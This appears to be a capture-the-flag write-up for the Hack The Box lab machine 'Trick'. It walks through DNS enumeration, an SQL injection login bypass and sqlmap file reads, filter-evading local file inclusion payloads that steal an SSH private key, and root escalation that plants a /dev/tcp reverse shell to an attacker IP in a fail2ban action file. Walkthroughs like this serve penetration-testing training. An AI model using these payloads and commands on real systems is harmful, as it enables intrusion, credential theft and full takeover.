💥Cyb3rBook

TRICK

22 min read

PRIMARY CATEGORY → EASY

Summary

  • Reverse DNS Lookup with DIG
  • Domain Zone Transfer attack with DIG
  • Fuzzing Web Resources with Ffuf
  • Arbitrary File Read through a Boolean-based SQL Injection using Python Scripting and SQLMap
  • Virtual Hosts disclosure thanks to the previous Arbitrary File Read
  • SSH Private Key disclosure through a Local File Inclusion
  • LPE: Abusing Sudo Privileges on Fail2ban (Modifying an Action File)

Zoom in

Setup

Directory creation with the Machine’s Name

mkdir Trick && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

mkdir {Scans,Data,Tools}

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.227.180

As mentioned, according to the TTL, It seems that It is a LINUX Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG Trick.allPorts 10.129.227.180

Open Ports →

22, 25, 53 and 80
Comprehensive Scan

We can apply a little filter to the Trick.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information

Note that this scan is also exported to have evidence at hand

nmap -p$( grep -ioP --color -- '\s\d{1,5}(?=/)' Trick.allPorts | xargs | sed 's@\s@,@g' ) -sCV -v -n -Pn --disable-arp-ping -oN Trick.targeted 10.129.227.180
53 - DNS

Apart from the several web application running on port 80, this port is the only one for which we can carry out any type of enumeration

We cannot gather any relevant information from service listening on port 25 as it appears to be postfix and it is necessary to know a valid domain in order to perform any mail account enumeration

Similarly, we cannot carry out a Domain Zone Transfer either for the same reason. Therefore, let’s start by crafting a reverse DNS lookup request for the target IP Address

dig -x 10.129.227.180 @10.129.227.180 +short

And we have a valid domain! Let’s try to perform a Zone Transfer now

dig AXFR trick.htb @10.129.227.180

And now we have a valid subdomain!

We can add both the domain and subdomain to the /etc/hosts just in case the Web Service is using Virtual Hosting

printf "%s\t%s\t%s" "10.129.227.180" "trick.htb" "preprod-payroll.trick.htb" >> /etc/hosts
80 - HTTP

We can list some of the Web Technologies running behind the web application as follows

whatweb 'http://trick.htb'

But there is nothing interesting apart from the fact that the Web Server is a NGinx

We get the following rendered content by visiting the website from the browser

Zoom in

It appears to be an static HTML page. The form does not send the entered data anywhere either

We can confirm that the home page is an index.html by requesting the following URL

http://trick.htb/index.html

The same content is offered

Thus, before access the web application under preprod-payroll.trick.htb, let’s perform some fuzzing by looking for any directories or HTML resources

ffuf -v -t 200 -w /usr/share/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt -e '.html' -u 'http://trick.htb/FUZZ'

But we got nothing interesting. So, let’s continue with the other virtual hosts, if exists

Zoom in

This time we face a login panel, which seems to work since the website is running PHP

Therefore, our data is being processed by the web application. Before proceed with any type of injection, we can try some default credentials such as admin:admin, guest:guest, trick:trick

Arbitrary File Read via SQL Injection

But we are unable to access the web panel

Let’s try an authentication bypass such as

test' or 1=1 -- -

And we are in! We can begin to inspect the control panel looking for any flaw such as a file upload, file inclusion and so on, but we will not found anything

So, let’s take a step back and dig into the SQLi we have found in the previous login panel

To do so, we will log out and start burpsuite in order to intercept the HTTP request, and send it to the Repeater. This way we can test the login with different payloads

Since we have bypassed the panel by simply adding a single quote and an OR statement, we can follow this pattern to craft more complex payloads and thus exhaustively enumerate the database server

Zoom in

We can see that we receive a “3” on the HTTP response body when the login action fails due to invalid credentials

In the other hand, we receive a “1” with a successful login

Zoom in

No errors or information displayed in the response, so we can deduce we are dealing with a Blind SQL Injection. At least is not time-based 😊, so let’s get to work

To accomplish this enumeration task, we will rely on Python Scripting

First, let’s create a function which lists all existing databases

Zoom in

We have two databases, the default information_schema and payroll_db

Let’s continue by listing the tables of the given database

Zoom in

The users table results really interesting, let’s enumerate all its columns to see if it contains any passwords or something similar

Zoom in

As usual, we have a username and password columns on a users table, so let’s extract the stored data

Zoom in

And we have a username and a password! We could use these credentials to log in to the system via SSH

nxc ssh 10.129.227.180 --username 'enemigosss' --password 'superguccirainbowcake'

But they are not valid. It may be useful for password reuse latter

At this point, we should check the privileges of the current database user to see if we can read certain system files or write a file on a specific path

We can list them through the SQL Injection as follows

Zoom in

We now know that the current user is called remo and has the FILE permission, which allows READ or WRITE (or both) files in the system

Therefore, we can check if the current user can read files such as the /etc/passwd file

To do so, we can continue with python scripting and build a function that allows us to list the content of a provided file

However, doing it this way is a bit tedious in terms of time and tools such as SQLMap can significantly speed the process

We can use this tool to read system files as follows →

python3 sqlmap.py -r test.req --batch --threads 10 --technique B --level 5 --file-read=/etc/hosts

We apply a simple filter to extract only the system user with a shell assigned

grep sh\$ /root/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd

And we have a user called michael. We could check if the password extracted earlier is valid for this user

nxc ssh 10.129.227.180 --username 'michael' --password 'superguccirainbowcake'

But it is not. At this point, it would be interesting to list the content of some configuration files

We saw previously that the web server is a Nginx, thus we could look for any other virtual hosts in the configuration files located within the /etc/nginx/sites-available directory

We can use SQLMap again for this task

python3 sqlmap.py -r test.req --batch --threads 10 --technique B --level 5 --file-read=/etc/nginx/sites-available/default

And we have another subdomain which is serving different content located on /var/www/market

We can add this subdomain to the /etc/hosts file and visit it from the browser to see what it offers to us

printf "\t%s" "preprod-marketing.trick.htb" >> /etc/hosts
LFI

And we have another simple website with no accesible URLs

Zoom in

Every time we click on a section of the “header” shown in the image above, the value of a URL parameter called “page” changes

This URL presents the following structure

http://preprod-marketing.trick.htb/index.php?page=<PAGE>.<EXTENSION>

The first thing that comes to mind is to try a Directory Path Traversal to achieve a file inclusion by abusing the page parameter

Let’s give it a try. We can start with the following payload

?page=../../../../../etc/passwd

Zoom in

But we do not get any results

We can directly reference its absolute path without any directory path traversal

?page=/etc/passwd

Nothing again…

We can try a slighly more sophisticated payload just in case the web application is removing the following character sequence → ../

?page=....//....//....//....//etc/passwd

Zoom in

Here we go! We have an LFI through the page parameter

We can filter by user accounts that have a shell assigned

curl --silent --location --request GET "http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//etc/passwd" | grep 'sh$'

And we have a user called Michael. It would be interesting to search for a private key in its .ssh directory

curl --silent --location --request GET "http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//home/michael/.ssh/id_rsa"

And we have one!

Shell as Web User

Let’s connect remotely to the target via SSH as Michael using the private key above

ssh -p 22 -i michael.id_rsa michael@10.129.227.180

Then, we can carry out a minor treatment of the terminal

export TERM=xterm-256color
. /etc/skel/.bashrc

Privesc

Initial Non-Privileged User → Michael

Sudo Privileges on Fail2ban

First, let’s check which groups the current user belongs to

id

And he is member of the security group, we should take this into account

Next, we can check if Michael has any sudo privilege

sudo -l

And we are able to restart the fail2ban service running on the target

Before searching for any binary with the SUID bit enabled, let’s find out which directories the current user has write permissions for

find / \( -path /proc -o -path /sys -o -path /home -o -path /run -o -path /tmp -o -path /var/www \) -prune -o -writable -type d -ls 2> /dev/null

The security group owns the /etc/fail2ban/action.d directory, which means that we can create any file within in

An action in fail2ban refers to what to do when an IP Address is marked as malicious according to some filters

Various actions can be carried out, such as adding a firewall rule, adding an ipset, running a certain script or command and so on

Since we are able to create or modify an action configuration file within the /etc/fail2ban/action.d directory, we can modify one that is being used by the service, which can be consulted by filtering for the banaction directive in the /etc/fail2ban/jail.conf file

grep -iP -- '^banaction = [^%].+$' ../jail.conf

So, we can modify the file related to the iptables-multiport action and add the command below

bash -i &> /dev/tcp/10.10.15.174/4444 0>&1

It sends a reverse shell to our attacker machine

Likewise, we should set a TCP listener on port 4444

nc -nlvp 4444

The file would look like this

Once the given action file is modified, we must restart the fail2ban service in order to apply the changes made, which we can do thanks to the sudo privilege

sudo -u root -- /etc/init.d/fail2ban restart

All that remains is to get banned by the target in order to trigger the action, which is the reverse shell command

To do so, just perform a bruteforce attack via SSH using Hydra or Netexec

nxc ssh 10.129.227.180 --username 'test' --password /usr/share/seclist/Passwords/months.txt

And we will receive the reverse shell from the target when the ban takes effect

Next, we must carry out a PTY Upgrade to prevent to kill the spawned pseudoterminal when we press C-c to send a SIGINT to a certain process on the target

script /dev/null -c bash
C-z
stty raw -echo ; fg
reset xterm
export TERM=xterm-256color
export SHELL=/bin/bash
. /etc/skel/.bashrc

Finally, grab the content of the root.txt flag and move on to the next target! 😊

Custom Exploits

SQL Injection

Graph View

Backlinks